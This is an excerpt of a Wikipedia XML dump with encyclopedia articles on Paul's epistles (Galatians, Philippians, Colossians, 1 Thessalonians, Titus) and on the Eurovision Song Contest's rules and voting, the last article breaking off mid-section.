The South Galatian view holds that Paul wrote Galatians before or shortly after the First Jerusalem Council, probably on his way to it, and that it was written to churches he had presumably planted during either his time in Tarsus (he would have travelled a short distance, since Tarsus is in Cilicia) after his first visit to Jerusalem as a Christian (Acts [http://www.biblegateway.com/passage/?search=Acts%209:30;&amp;version=31; 9:30]), or during his first missionary journey, when he travelled throughout southern Galatia.

==Contents==
This epistle addresses the question, was the Jewish law binding on Christians? The epistle is designed to counter the Jews' position that men cannot be justified by faith without the works of the law of [[Moses]]. After an introductory address (Gal [http://www.biblegateway.com/passage/?search=Galatians%201:1-10;&amp;version=31; 1:1&amp;ndash;10]), the apostle discusses the subjects which had occasioned the epistle. 

In Chapter [http://www.biblegateway.com/passage/?book_id=55&amp;chapter=1&amp;version=31 1] he defends his apostolic authority ([http://www.biblegateway.com/passage/?search=Galatians%201:11-19;&amp;version=31; 1:11&amp;ndash;19]; [http://www.biblegateway.com/passage/?search=Galatians%202:1-14;&amp;version=31; 2:1&amp;ndash;14]).   Chapters [http://www.biblegateway.com/passage/?book_id=55&amp;chapter=2&amp;version=31 2], [http://www.biblegateway.com/passage/?book_id=55&amp;chapter=3&amp;version=31 3], and [http://www.biblegateway.com/passage/?book_id=55&amp;chapter=4&amp;version=31 4] show the influence of the [[Judaizers]] in destroying the very essence of the gospel.  Chapter 3 exhorts the Galatian believers to stand fast in the faith as it is in Jesus, and to abound in the fruit of the Spirit.  Chapter 4 then concludes with a summary of the topics discussed and with the benediction, followed by [http://www.biblegateway.com/passage/?search=Galatians%205,6:1-10;&amp;version=31; 5; 6:1&amp;ndash;10] teaching about the right use of their Christian freedom.

The Epistle to the Galatians and that to the Romans taken together &quot;form a complete proof that [[justification]] is not to be obtained meritoriously either by works of morality or by rites and ceremonies, though of divine appointment; but that it is a free gift, proceeding entirely from the mercy of [[God]], to those who receive it by faith in [[Jesus]] our Lord&quot; (Easton).

In the conclusion of the epistle ([http://www.biblegateway.com/passage/?search=Galatians%206:11;&amp;version=31; 6:11]), Paul writes, &quot;Ye see how large a letter I have written with mine own hand.&quot; It is implied that this was different from his ordinary usage, which was simply to write the concluding salutation with his own hand, indicating that the rest of the epistle was written by another hand. Regarding this conclusion, [[Joseph Barber Lightfoot|Lightfoot]], in his Commentary on the epistle, says: &quot;At this point the apostle takes the pen from his amanuensis, and the concluding paragraph is written with his own hand. From the time when letters began to be forged in his name ([[2 Thessalonians|2 Thess]] [http://www.biblegateway.com/passage/?search=2%20Thessalonians%202:2;&amp;version=31; 2:2]; [http://www.biblegateway.com/passage/?search=2%20Thessalonians%203:17;&amp;version=31; 3:17]) it seems to have been his practice to close with a few words in his own handwriting, as a precaution against such forgeries... In the present case he writes a whole paragraph, summing up the main lessons of the epistle in terse, eager, disjointed sentences. He writes it, too, in large, bold characters (Gr. ''pelikois grammasin''), that his hand-writing may reflect the energy and determination of his soul.&quot;

An interesting literary interpretation of this period of [[Christianity]] and the character of Paul can be found in [[Rudyard Kipling]]'s short story &quot;The Church that was at Antioch&quot;. A [[Roman Empire|Roman]] soldier and follower of [[Mithraism]] discovers the faith on his death bed, after having tried to diffuse tension between the [[Gentile]] and Jewish [[Christians]] over issues of [[Judaism]] such as [[circumcision]] and the preparation of food.

== External links ==
*{{biblegateway||Galatians}}: online translations of the ''Epistle to Galatians'
*[http://www.ccel.org/e/easton/ebd/ebd/T0001400.html#T0001413 ''Easton's Bible Dictionary,'' 1897:] Epistle to the Galatians, commencing &quot;The genuineness of this epistle is not called in question. Its Pauline origin is universally acknowledged.&quot;
*[http://www.depts.drew.edu/jhc/eysingsp.html G. A. van den Bergh van Eysinga, &quot;The Spuriousness of so-called Pauline epistles exemplified by the ''Epistle to the Galatians'',&quot; 1912]: a review of the critical analysis that identified ''Galatians'' among the &quot;four Epistles&quot; considered by critical readers to be post-Pauline.


&lt;center&gt;
&lt;br&gt;
{| border=&quot;1&quot; style=&quot;border-collapse: collapse&quot;
|- bgcolor=&quot;darkgray&quot;
|colspan=3|&lt;center&gt;'''Books of the Bible'''
|- bgcolor=&quot;gainsboro&quot;
|&lt;Center&gt;Preceded by:&lt;br&gt;&lt;Center&gt;[[Second Epistle to the Corinthians|Second Corinthians]]
|'''[[Epistles]]'''
|Followed by:&lt;br&gt;&lt;Center&gt;[[Epistle to the Ephesians|Ephesians]]
|}
&lt;/center&gt;


[[Category:New Testament books|Galatians]]
[[Category:Ancient Roman Christianity]]

[[de:Brief des Paulus an die Galater]]
[[fr:Épître aux Galates]]
[[ko:갈라디아인들에게 보낸 편지]]
[[id:Surat Paulus kepada Jemaat di Galatia]]
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  <page>
    <title>Epistle to the Philippians</title>
    <id>9950</id>
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      <text xml:space="preserve">{{Books of the New Testament}}
''[[Philippians]] redirects here. See &quot;[[Filippians]]&quot; for a sect of Russian [[Old Believers]].''
----The '''Epistle to Philippians''' (or just '''Philippians''') is a [[book]] included in the [[New Testament]] of the [[Christianity|Christian]] [[Bible]]. It is a letter from [[Paul of Tarsus|St. Paul]] to the [[church]] of [[Philippi]].

== Authorship ==
Pauline authorship of Philippians is &quot;universally accepted&quot; (Beare, p. 1) by virtually all Bible scholars, ancient and modern, with the exception of the [[kenosis]] passage in Philippians 2:5-11. According to liberal theologians this may have been an early Christian [[hymn]] that Paul quoted, rather than an original Pauline composition.

Paul is traditionally believed to have written Philippians during the two years when he was &quot;in bonds&quot; in [[Rome]] (Philippians 1:7-13), probably in late [[61]] or early [[62]] AD.

==Background== 
The letter was written to the church at Philippi, one of the earliest churches to be founded in Europe. They were very attached to Paul, just as he was very fond of them. They alone of all the churches helped him by their contributions, which he gratefully acknowledges ([[Acts of the Apostles|Acts 20:33-35]]; [[2 Corinthians|2 Cor. 11:7-12]]; [[2 Thessalonians|2 Thess. 3:8]]). The generosity of the Philippians comes out very conspicuously (Phil. 4:15). &quot;This was a characteristic of the Macedonian missions, as 2 Cor. 8 and 9 amply and beautifully prove. It is remarkable that the Macedonian converts were, as a class, very poor (2 Cor. 8:2); and the parallel facts, their poverty and their open-handed support of the great missionary and his work, are deeply harmonious. At the present day the missionary liberality of poor Christians is, in proportion, really greater than that of the rich&quot; (Moule).

==Historical background==
The Philippians had sent Epaphroditus, their messenger, with contributions to meet the needs of Paul; and on his return Paul sent back with him this letter. With this precious communication Epaphroditus sets out on his homeward journey. &quot;The joy caused by his return, and the effect of this wonderful letter when first read in the church of Philippi, are hidden from us. And we may almost say that with this letter the church itself passes from our view. To-day, in silent meadows, quiet cattle browse among the ruins which mark the site of what was once the flourishing Roman colony of Philippi, the home of the most attractive church of the apostolic age. But the name and fame and spiritual influence of that church will never pass. To myriads of men and women in every age and nation the letter written in a dungeon at Rome, and carried along the Egnatian Way by an obscure Christian messenger, has been a light divine and a cheerful guide along the most rugged paths of life&quot; (Professor Beet).

==Contents==
The contents of this epistle give an interesting insight into the condition of the church at Rome at the time it was written. Paul's imprisonment, we are informed, was no hindrance to his preaching the gospel, but rather &quot;turned out to the furtherance of the gospel.&quot; The gospel spread very extensively among the Roman soldiers, with whom he was in constant contact, and the Christians grew into a &quot;vast multitude.&quot; It is plain that Christianity was at this time making rapid advancement in Rome.

The doctrinal statements of this epistle bear a close relation to those of the [[Epistle to the Romans]]. Compare also Phil. 3:20 with Eph. 2:12, 19, where the church is presented under the idea
of a city or commonwealth for the first time in Paul's writings. The personal glory of Christ is also set forth in almost parallel forms of expression in Phil. 2:5-11, compared with Eph.
1:17-23; 2:8; Col. 1:15-20. &quot;This exposition of the grace and wonder of His personal majesty, personal self-abasement, and personal exaltation after it,&quot; found in these epistles, &quot;is, in
a great measure, a new development in the revelations given through St. Paul&quot; (Moule). Other minuter analogies in forms of expression and of thought are also found in these letters that Paul is believed to have written while he was in prison.

Of particular importance to professed Christians are:

* 1:15-18(a) &quot;It is true that some preach Christ out of envy and rivalry, but others out of goodwill. The latter do so in love, knowing that I am put here for the defense of the gospel. The former preach Christ out of selfish ambition, not sincerely, supposing that they can stir up trouble for me while I am in chains. But what does it matter? The important thing is that in every way, whether from false motives or true, Christ is preached. And because of this I rejoice.&quot; ([[NIV]])

* 2:5-11 &quot;Your attitude should be the same as that of Christ Jesus: Who, being in very nature God, did not consider equality with God something to be grasped, but made himself nothing, taking the very nature of a servant, being made in human likeness.  And being found in appearance as a man, he humbled himself and became obedient to death—even death on a cross!  Therefore God exalted him to the highest place and gave him the name that is above every name, that at the name of Jesus every knee should bow, in heaven and on earth and under the earth, and every tongue confess that Jesus Christ is Lord, to the glory of God the Father.&quot; ([[NIV]])

* 3:7-9 &quot;But whatever gain I had, I counted as loss for the sake of Christ. Indeed, I count everything as loss because of the surpassing worth of knowing Christ Jesus my Lord. For his sake I have suffered the loss of all things and count them as rubbish, in order that I may gain Christ and be found in him, not having a righteousness of my own that comes from the law, but that which comes through faith in Christ, the righteousness from God that depends on faith&quot; ([[ESV]])

* 4:4 &quot;Rejoice in the Lord always. I will say it again: Rejoice!&quot; ([[NIV]])

* 4:6-7 &quot;Do not be anxious about anything, but in everything, by prayer and petition, with thanksgiving, present your requests to God. And the peace of God, which transcends all understanding, will guard your hearts and your minds in Christ Jesus.&quot; ([[NIV]])

* 4:8 &quot;Finally, brothers, whatever is true, whatever is noble, whatever is right, whatever is pure, whatever is lovely, whatever is admirable—if anything is excellent or praiseworthy—think about such things.&quot; ([[NIV]])

* 4:13 &quot;I can do all things through Christ who strengthens me.&quot; ([[NKJV]])

==References==
*Beare, F. W. (1959). A Commentary on the Epistle to the Philippians. Harper &amp; Row; reprint, Harper’s New Testament Commentaries, ed. Henry Chadwick. (1987). Peabody, MA: Hendrickson.
*Moule, H. C. G. (1981). The Epistle to the Philippians. Baker Book House.
*{{eastons}}

== External links==
Online translations of the [[Epistle to the Philippians]]:
* {{biblegateway||Philippians}}

Related articles:
* [http://www.bible.org/page.asp?page_id=1333 Bible.org introduction to Philippians]
* [http://www.plymouthbrethren.org/passage.asp Philippians from the Biblical Resource Database]


&lt;center&gt;
&lt;br&gt;
{| border=&quot;1&quot; style=&quot;border-collapse: collapse&quot;
|- bgcolor=&quot;darkgray&quot;
|colspan=3|&lt;center&gt;'''Books of the Bible'''
|- bgcolor=&quot;gainsboro&quot;
|Preceded by:&lt;br&gt;&lt;Center&gt;[[Epistle to the Ephesians|Ephesians]]
|'''[[Epistles]]'''
|Followed by:&lt;br&gt;&lt;Center&gt;[[Epistle to the Colossians|Colossians]]
|}
&lt;/center&gt;

[[Category:Ancient Roman Christianity]]
[[Category:New Testament books|Philippians]]

[[de:Brief des Paulus an die Philipper]]
[[fr:Épître aux Philippiens]]
[[ko:필리비인들에게 보낸 편지]]
[[id:Surat Paulus kepada Jemaat di Filipi]]
[[nl:Brief van Paulus aan de Filippenzen]]
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[[zh:腓立比書]]</text>
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  </page>
  <page>
    <title>Epistle to the Colossians</title>
    <id>9951</id>
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      <minor />
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      <text xml:space="preserve">{{Books of the New Testament}}
The '''Epistle to the Colossians''' is a book of the [[Bible]] [[New Testament]].  It is a letter from [[Paul of Tarsus|Paul]] to the church in [[Colossae]].

== Occasion of writing ==

It was written by Paul at Rome during his first imprisonment there ([[Acts]] 28:16, 30), probably in the spring of AD [[57]], or, as some scholars think, [[62]], and soon after he had written his [[Epistle to Ephesians]]. 

Like some of his other [[epistle]]s (e.g., those to [[Corinth]]), this seems to have been written in consequence of information which had somehow been conveyed to him of the internal state of the church there (1:4-8). Its object was to counteract [[heresy|false teaching]]. A large part of it is directed against certain speculatists who attempted to combine the doctrines of Eastern [[mysticism]] and [[asceticism]] with [[Christianity]], thereby promising the disciples the enjoyment of a higher spiritual life and a deeper insight into the world of [[spiritual being|spirit]]s. Paul argues against such teaching, showing that in [[Jesus]] they had all things. He sets forth the majesty of his redemption. The mention of the &quot;[[new moon]]&quot; and &quot;[[sabbath]] days&quot; (2:16) shows also that there were here Judaizing teachers who sought to draw away the disciples from the simplicity of the [[gospel]].

== Content of the letter ==

Like most of Paul's epistles, this consists of two parts: a doctrinal and a practical.

The doctrinal part comprises the first two chapters. His main [[theme (literary)|theme]] is developed in chapter 2. He warns them against being drawn away from Him in whom dwelt all the fulness of the [[Godhead (Christianity)|Christian Godhead]], and who was the head of all spiritual powers. Christ was the head of the body of which they were members; and if they were truly united to him, what needed they more?

The practical part of the epistle (3-4) enforces various duties naturally flowing from the doctrines expounded. They are exhorted to mind things that are above (3:1-4), to mortify every evil principle of their nature, and to put on the new man (3:5-14). Many special duties of the Christian life are also insisted upon as the fitting evidence of the Christian character. 

[[Tychicus]] was the bearer of the letter, as he was also of that to the [[Ephesians]] and to [[Epistle to Philemon|Philemon]], and he would tell them of the state of the apostle (4:7-9). After friendly greetings (10-14), he bids them interchange this letter with that he had sent to the neighbouring [[Laodicean Church]].  (The apocryphal [[Epistle to the Laodiceans]] is almost universally believed to be a [[forgery]] based on this instruction.)  He then closes this brief but striking epistle with his usual autograph salutation.  There is a remarkable resemblance between this epistle and that to the Ephesians.

== Authorship == 
According to Raymond Brown (''An Introduction to the New Testament'' [New York: Doubleday, 1997], p. 610), &quot;At the present moment about 60 percent of critical scholarship holds that Paul did not write the letter.&quot; The disagreements concern language, style, and the presence or absence of characteristic Pauline concepts.  However, the differences between these elements in this letter and one commonly considered the genuine work of Paul (e.g. [[1 Thessalonians]]) can also be explained by human variability.  For more details, see the article [[Authorship of the Pauline epistles]].

{{eastons}}

==External links==
Online translations of the [[Epistle to the Colossians]]:
* {{biblegateway||Colossians}}

Related articles:
* [http://explorers.whyte.com/Bible/colossians.htm Nicholas Whyte's Commentary on ''Colossians'']

&lt;center&gt;
&lt;br&gt;
{| border=&quot;1&quot; style=&quot;border-collapse: collapse&quot;
|- bgcolor=&quot;darkgray&quot;
|colspan=3|&lt;center&gt;'''Books of the Bible'''
|- bgcolor=&quot;gainsboro&quot;
|&lt;Center&gt;Preceded by:&lt;br&gt;&lt;Center&gt;[[Epistle to the Philippians|Philippians]]
|'''[[Epistles]]'''
|&lt;Center&gt;Followed by:&lt;br&gt;&lt;Center&gt;[[First Epistle to the Thessalonians|1 Thessalonians]]
|}
&lt;/center&gt;

[[Category:New Testament books|Colossians]]
[[Category:Ancient Roman Christianity]]

[[de:Brief des Paulus an die Kolosser]]
[[es:Epístola a los Colosenses]]
[[fr:Épître aux Colossiens]]
[[ko:골로사이인들에게 보낸 편지]]
[[id:Surat Paulus kepada Jemaat di Kolose]]
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[[pl:List do Kolosan]]
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[[fi:Kirje kolossalaisille]]
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[[zh:歌羅西書]]</text>
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  </page>
  <page>
    <title>First Epistle to the Thessalonians</title>
    <id>9952</id>
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      <comment>[[zh:帖撒羅尼加前書]]</comment>
      <text xml:space="preserve">{{Books of the New Testament}}

The '''First Epistle to the Thessalonians''', also known as the '''First Letter to the Thessalonians''', is a book from the [[New Testament]] of the Christian [[Bible]].

The first letter to the Thessalonians was likely the first of all [[Paul of Tarsus|Paul]]'s [[Pauline epistles|letters]], most like written by the end of A.D. [[52]].  It was written after Timothy had returned from [[Macedonia (Roman province)|Macedonia]], relating the state of the church in [[Thessalonica]] (Acts 18:1-5; 1 Thess. 3:6). While, on the whole, the report of Timothy was encouraging, it also showed that many errors and misunderstandings regarding Paul's teaching of [[Christianity]] had crept in among them. Paul addresses them in this letter in order to correct the church and exhorts the Thessalonians to purity of life, reminding them that their sanctification was God's will for their lives.

{{eastons}}

Paul addresses them in this letter to encourage and reassure the Christians there. He gives thanks for the news about their faith and love; he reminds them of the kind of life he had lived while he was with them, and then answers questions that had arisen in the church about the return of Christ: Could a believer who died before Christ's return still share in the eternal life that his return will bring? And when will Christ come again? Paul writes this letter to the Church at Thessalonica and encourages them to go on working quietly while waiting in hope for the return of Christ.

==See also==
*[[Authorship of the Pauline epistles]]

==External links==
Online translations of the First Epistle to the Thessalonians:
* {{biblegateway|1|Thessalonians}}

&lt;center&gt;
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{| border=&quot;1&quot; style=&quot;border-collapse: collapse&quot;
|- bgcolor=&quot;darkgray&quot;
|colspan=3|&lt;center&gt;'''Books of the Bible'''
|- bgcolor=&quot;gainsboro&quot;
|&lt;Center&gt;Preceded by:&lt;br&gt;&lt;Center&gt;[[Epistle to the Colossians|Colossians]]
|'''[[Epistles]]'''
|&lt;Center&gt;Followed by:&lt;br&gt;&lt;Center&gt;[[Second Epistle to the Thessalonians|2 Thessalonians]]
|}
&lt;/center&gt;

[[Category:New Testament books|Thessalonians 1]]

[[cs:1. Tesalonickým]]
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[[es:Primera Epístola a los Tesalonicenses]]
[[fr:Première épître aux Thessaloniciens]]
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[[nl:Brieven van Paulus aan de Tessalonicenzen]]
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  </page>
  <page>
    <title>Epistle to Titus</title>
    <id>9953</id>
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      <comment>robot  Adding: la, ru</comment>
      <text xml:space="preserve">{{Books of the New Testament}}
:''The [[Pastoral Epistles]] are often considered together, as each throws light upon the others.''
The '''Epistle to Titus''' is a book of the [[biblical canon|canonic]] [[New Testament]], one of the three so-called &quot;pastoral epistles&quot; (with ''[[First Epistle to Timothy|1 Timothy]]'' and ''[[Second Epistle to Timothy|2 Timothy]]''). It is offered as a letter from [[Paul of Tarsus|Paul]] to the [[Apostle Titus]].

==Authorship and date==

===Traditional view===
According to ''[[Easton's Bible Dictionary]]'' (1897),  &quot;Paul's Authorship was undisputed in antiquity, as far as known, but is frequently doubted today. It was probably written about the same time as the [[First Epistle to Timothy]], with which it has many affinities.&quot; 

[[William Paley]] wrote in ''Horae Paulinae'' (1785), &quot;Both letters were addressed to persons left by the writer to preside in their respective churches during his absence. Both letters are principally occupied in describing the qualifications to be sought for in those whom they should appoint to offices in the church; and the ingredients of this description are in both letters nearly the same. Timothy and Titus are likewise cautioned against the same prevailing corruptions, and in particular against the same misdirection of their cares and studies. 

&quot;This affinity obtains not only in the subject of the letters, which from the similarity of situation in the persons to whom they were addressed might be expected to be somewhat alike, but extends in a great variety of instances to the phrases and expressions. The writer accosts his two friends with the same salutation, and passes on to the business of his letter by the same transition (comp. 1 Tim. 1:2, 3 with Titus 1:4, 5; 1
Tim.1:4 with Titus 1:13, 14; 3:9; 1 Tim. 4:12 with Titus 2:7, 15).&quot;

Traditionalists date its composition from the circumstance that it was written after Paul's visit to Crete
(Titus 1:5). That visit could not be the one referred to in ''Acts'' 27:7, when Paul was on his voyage to Rome as a prisoner, and where he continued a prisoner for two years. Thus traditional [[exegesis]] supposes that after his release Paul sailed from Rome into Asia, passing Crete by the way, and that there he left Titus &quot;to set
in order the things that were wanting.&quot; Thence he would have gone to [[Ephesus]], where he left Timothy, and from Ephesus to [[Macedonia (Roman province)|Macedonia]], where he wrote the ''First Epistle to Timothy'', and thence, according to the superscription of this epistle, to Nicopolis in [[Epirus]], from which place he wrote to Titus, about A.D. 66 or 67.

===Critical view===
Since none of the pastoral epistles were included in [[Marcion]]'s canon of ten epistles, which was assembled ''ca'' 140 CE, and since there is no certain quotation of any of these epistles before [[Irenaeus]], '' ca'' 170 CE, the critical view is that they were written about the middle of the 2nd century CE. Critics examining the text fail to find its vocabulary and literary style similar to Paul's unquestionably authentic letters, fail to fit the situation of Paul in the epistle into Paul's reconstructed biography, and identify principles of the emerged Christian church rather than those of the apostolic generation.

In the subscription to the epistle it is said to have been written from &quot;Nicopolis of Macedonia&quot; rather than Nicopolis in Epirus. Even the most traditional apologists agree that the subscriptions to the epistles are not authentic.

== See also ==
*[[Authorship of the Pauline epistles]]

==External links==
Online translations of the [[Epistle to Titus]]:
*{{biblegateway||Titus}}
*[http://www.earlychristianwritings.com/titus.html Early Christian Writings:] ''Titus''

&lt;center&gt;
&lt;br&gt;
{| border=&quot;1&quot; style=&quot;border-collapse: collapse&quot;
|- bgcolor=&quot;darkgray&quot;
|colspan=3|&lt;center&gt;'''Books of the Bible'''
|- bgcolor=&quot;gainsboro&quot;
|&lt;Center&gt;Preceded by:&lt;br&gt;&lt;Center&gt;[[Second Epistle to Timothy|2 Timothy]]
|'''[[Epistles]]'''
|&lt;Center&gt;Followed by:&lt;br&gt;&lt;Center&gt;[[Epistle to Philemon|Philemon]]
|}
&lt;/center&gt;

[[Category:New Testament books|Titus]]

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[[es:Epístola a Tito]]
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[[ja:テトスへの手紙]]
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  </page>
  <page>
    <title>Eurovision Song Contest</title>
    <id>9954</id>
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      <comment>/* =Miscellaneous Links */</comment>
      <text xml:space="preserve">:{{redirect|Eurovision}}

[[Image:escgeneric.gif|right|thumb|right|Eurovision Song Contest logo.]]

Running since [[Eurovision Song Contest 1956|1956]], the '''Eurovision Song Contest''' is an annual televised song contest with participants from numerous countries whose national television broadcasters are members of the [[European Broadcasting Union]] (EBU). The Contest is broadcast on [[television]] and [[radio]] throughout [[Europe]], in selected countries around the world, and on the [[internet]].

==Overview==
The Contest's name comes from the EBU's [[Eurovision Network|Eurovision]] TV distribution network. Because it is the highest-profile event distributed by the network, the Song Contest itself is often simply called &quot;Eurovision&quot;.

The structure of the Contest is as follows:
* Each country, through a variety of means, chooses an artist and song to represent them.
* Each song from every country is then performed once on the night, vocally live.
* After all songs have been performed, viewers have ten minutes to vote for their favourite song. Viewers can not vote for their own country e.g. voters in Ireland can not vote for the Irish entry.
* All the votes are added up per country (e.g. all of the votes from Irish televoters, from French voters etc.)
* Each country, via satellite link, reveals its votes. The top ten songs voted for in each country receive points, from 1-8, then 10 and 12 points. Points are announced per country in reverse order.
* In the end, the winner is the country with the most points. In a tie, it is the country with the most 12-points awarded to them that wins.
* The winning country recieves the honour of hosting the next year's Contest.

The programme can reach a potential television audience of more than one billion. Any member of the EBU (even those outside Europe) may participate in the Contest. Of these non-European members, only [[Israel in the Eurovision Song Contest|Israel]] and [[Morocco in the Eurovision Song Contest|Morocco]] have participated in the Contest. Lebanon were planned to enter the 2005 contest, but they were disqualified because they admitted that they could not be sure the broadcast wouldn't be cut whilst Israel were performing.

The theme music played before and after the broadcasts of the Eurovision Song Contest (and other Eurovision broadcasts) is the prelude to [[Marc-Antoine Charpentier]]'s setting of [[Te Deum]].

The Eurovision even has its own dedicated Wiki at [http://www.eurovisionwiki.com The Eurovision Wiki]

==History==
See [[History of the Eurovision Song Contest]]

==Rules==
The official rules of the Contest are long, technical, and ever-changing. Many of the rules cover technical aspects of the television broadcast itself. However, a few of the more important rules affecting the conduct and outcome of the Contest follow. [http://www.eurovision.tv/searchfiles_english/574.htm (Link to the full rules for the 2005 Contest)]

===Number of Songs===
Each country is entitled to enter just one song. The Contest final is limited to 24 songs. For the [[Eurovision Song Contest 2006|2006]] Contest in Greece, the countries that will take those places fall into three categories.

# The countries with the ten highest scores in the final of the 2005 Contest. (Greece, Malta, Romania, Israel, Latvia, Moldova, Serbia and Montenegro, Switzerland, Norway, and Denmark)
# The four largest contributors to the EBU general budget. (France, Germany, Spain, United Kingdom)
# The countries with the ten highest scores in the semi-final of the 2006 Contest. (To be chosen from among Albania, Andorra, Armenia, Belarus, Belgium, Bosnia &amp; Herzegovina, Bulgaria, Croatia, Cyprus, Denmark, Estonia, Finland, Hungary, Iceland, Ireland, Lithuania, Macedonia, Monaco, Netherlands, Poland, Portugal, Russia, Slovenia, Sweden, Turkey, and Ukraine)

At the first Contest, each country was allowed to submit two three-minute (or less) songs. The number of participating countries has grown throughout the Contest's history, and since [[Eurovision Song Contest 1993|1993]] the rules have been changed several times to both limit the number of finalists and to allow for participation by former [[Soviet Union|Soviet]] and [[Socialist Federal Republic of Yugoslavia|Yugoslav]] republics, [[Warsaw Pact]] nations and others.

===Performers===
Current rules state that countries are allowed to have up to six performers on stage. Performers must be aged 16 or more, on [[31 December]] in the year of the Contest. No restriction on the nationality of the performers exists, which has resulted in countries being represented by artists who are not nationals of that country. One of the most well-known winning artists, Canadian Céline Dion represented Switzerland in [[Eurovision Song Contest 1988|1988]]. To place a restriction would be difficult in that, in [[Northern Ireland]] for example, some may wish to enter, who would consider themselves Irish, and therefore prefer to enter for Ireland, rather than the UK.

===Languages===
From the first Contest in 1956 until 1965, and again from 1973 until [[Eurovision Song Contest 1976|1976]] there was no restriction on language. From [[Eurovision Song Contest 1966|1966]] until [[Eurovision Song Contest 1972|1972]], and again from [[Eurovision Song Contest 1978|1978]] until 1998, songs were required to be performed in a national language. The national language rule was actually instituted shortly before the [[Eurovision Song Contest 1977|1977]] Contest, but some countries had already selected non-national language entries, and they were allowed to enter without any changes.

As of the [[Eurovision Song Contest 1999|1999]] Contest, the restriction was again lifted, and songs may be performed in any language. As a result, many of the songs are performed partially or completely in [[English language|English]]. In [[Eurovision Song Contest 2003|2003]], Belgium made full use of the so-termed ''free language rule'', and entered a song in an artificial language created especially for the song.

====The Language Issue====
Because many European states were founded on ideas of linguistic unity, and because of the sometimes-unwelcome dominance of the English language in modern pop music, the language of a country's Eurovision entry can be a contentious issue. Some entries are performed in English to reach broader audiences, though this is sometimes looked upon as unpatriotic.

In some cases, the lyrics are written and recorded in two different versions (usually English and a national language) or a single multi-language version. Examples include:
* Denmark, where the national selection procedure allows freedom of language, but if the winning song from their national competition is in [[Danish language|Danish]], it must be re-written in English for the competition. 
* Macedonia, who held a vote to decide whether their 2005 song should be in English or [[Macedonian language|Macedonian]].
* France, whose entry in [[Eurovision Song Contest 2001|2001]] was performed partially in [[French language|French]] and partially in English.

==Voting==
Currently, the Contest winner is selected by means of a modified version of the [[Borda count]]. Each country ranks all the entries and assigns 12 points to their favourite entry; 10 points to their second favourite entry; and 8, down to 1 point to their third to tenth favourites. Countries are not allowed to vote for themselves.

The current method for ranking entries is by a [[telephone]] vote ([[televoting]]) among the viewers. In the past, small demographically balanced juries were used to rank the entries. Juries are still used when televoting malfunctions or is impractical. For example, in [[Eurovision Song Contest 2003|2003]] [[Eircom]]'s telephone polls system ceased to operate normally. The Irish broadcaster, [[RTÉ]], did not receive the votes on time and instead used a panel of judges. (Later, the Russian entry [[t.A.T.u.]] held Ireland responsible for Russia losing the Contest. Just three points separated Russia and winners Turkey. The Russian act insisted that had Ireland used a phone vote they would have been awarded more points and taken the title. No evidence exists to back up this claim, however.)

The 1956 Contest did not have regional voting. The [[BBC]] had used the idea of contacting regional [[jury|juries]] by telephone in their national competition to choose their 1956 song. Bizarrely, the UK's song was chosen after the date of the international final but the EBU adopted the idea of contacting the international juries by telephone and this was introduced in 1957 and used until 1993. In 1994, the Contest saw the first satellite 'vision' link-up to juries. See below.

The presenters of the Contest connect by satellite to each country in turn, inviting the spokesperson to read out that country's votes in French or English. The presenters then repeat the votes in the alternate language, following the formula: &quot;''Country name'', ''number'' points. ''Nom du pays'', ''nombre'' points&quot; (but putting French first if the spokesperson is reading the points in French). For example: &quot;''Belgium'', ''twelve'' points. ''La Belgique'', ''douze'' points.&quot; 

===Tie-breakers===
In the event of a tie for first place after all the points have been announced, there is a tie-break procedure. It was realised that a tie-break procedure need be predetermined following the [[Eurovision Song Contest 1969|1969]] Contest, where [[France in the Eurovision Song Contest|France]], the [[Netherlands in the Eurovision Song Contest|Netherlands]], [[Spain in the Eurovision Song Contest|Spain]] and the [[United Kingdom in the Eurovision Song Contest|United Kingdom]] tied for first place. In 1969, since no tie-breaking system had been previously decided, it was determined that all four countries be jointly awarded the title.

As the rules currently stand, the first tie-breaker is to count the number of countries who assigned any points to each entry in the tie. If there is still a tie, the second tie breaker is to count the number of countries who assigned 12 points to each entry in the tie. Tie-breaks continue with 10 points, 8 points, and so on until the tie is resolved. Ties for other places are only officially resolved if they matter for qualification purposes (see below).

In the past, a number of different voting systems were used, with varying degrees of success. See [[Voting at the Eurovision Song Contest]] for more details.

===Nul Points===
Since each of the participating countries casts a series of votes, it is rare that a song fails to receive any votes at all. Under the modern rules this means that the song failed to make the top ten most popular songs in ''any'' country. When it does happen, it is known as ''nul points'' (pron. nool pwa'), from the practice of reading results in French as well as English during the broadcast. It should be noted, however, that the phrase ''nul points'' is never actually read out during the presentation of the Contest.

Entries which received ''nul points'', since the introduction of the current scoring system in [[Eurovision Song Contest 1975|1975]] are as follows:
* In [[Eurovision Song Contest 1978|1978]], Norway's &quot;Mil etter mil&quot; by [[Jahn Teigen]].
* In 1981, Norway's &quot;Aldri i livet&quot; by [[Finn Kalvik]].
* In [[Eurovision Song Contest 1982|1982]], Finland's &quot;Nuku pommiin&quot; by [[Kojo]].
* In [[Eurovision Song Contest 1983|1983]], two entries: Turkey's &quot;Opera&quot; by [[Çetin Alp and Short Wave]] and Spain's &quot;¿Quién maneja mi barca?&quot; by [[Remedios Amaya]].
* In [[Eurovision Song Contest 1987|1987]], Turkey's &quot;Şarkım Sevgi Üstüne&quot; by [[Seyyal Taner]] and [[Grup Locomotif]].
* In 1988, Austria's &quot;Lisa, Mona Lisa&quot; by [[Wilfried]].
* In [[Eurovision Song Contest 1989|1989]], Iceland's &quot;Það sem enginn sér&quot; by [[Daníel Ágúst]].
* In [[Eurovision Song Contest 1991|1991]], Austria's &quot;Venedig im Regen&quot; by [[Thomas Forstner]].
* In 1994, Lithuania's &quot;Lopšinė mylimai&quot; by [[Ovidijus Vyšniauskas]].
* In [[Eurovision Song Contest 1997|1997]], two entries: Norway's &quot;San Francisco&quot; by [[Tor Endresen]] and Portugal's &quot;Antes do adeus&quot; by [[Célia Lawson]].
* In 1998, Switzerland's &quot;Lass ihn&quot; by [[Gunvor]].
* In [[Eurovision Song Contest 2003|2003]], UK's &quot;Cry Baby&quot; by [[Jemini]].
* In the [[Eurovision Song Contest 2004|2004]] semi-final, Switzerland's entry &quot;Celebrate&quot;, sung by [[Piero and the Music Stars]].

===Political and Regional Voting Patterns===
Some viewers claim that politics and international relations dictate a lot of the voting. There is little empirical data to back up these claims, however.

Anecdotal evidence does suggest that some regional voting blocks do exist though. Cyprus and Greece have exchanged maximum points (i.e. Greece gives 12 points to Cyprus and Cyprus gives 12 points to Greece in the same Contest) eight times (1987, 1994, 1997, 1998, [[Eurovision Song Contest 2002|2002]], 2003, 2004, 2005) since they first competed together in 1981.

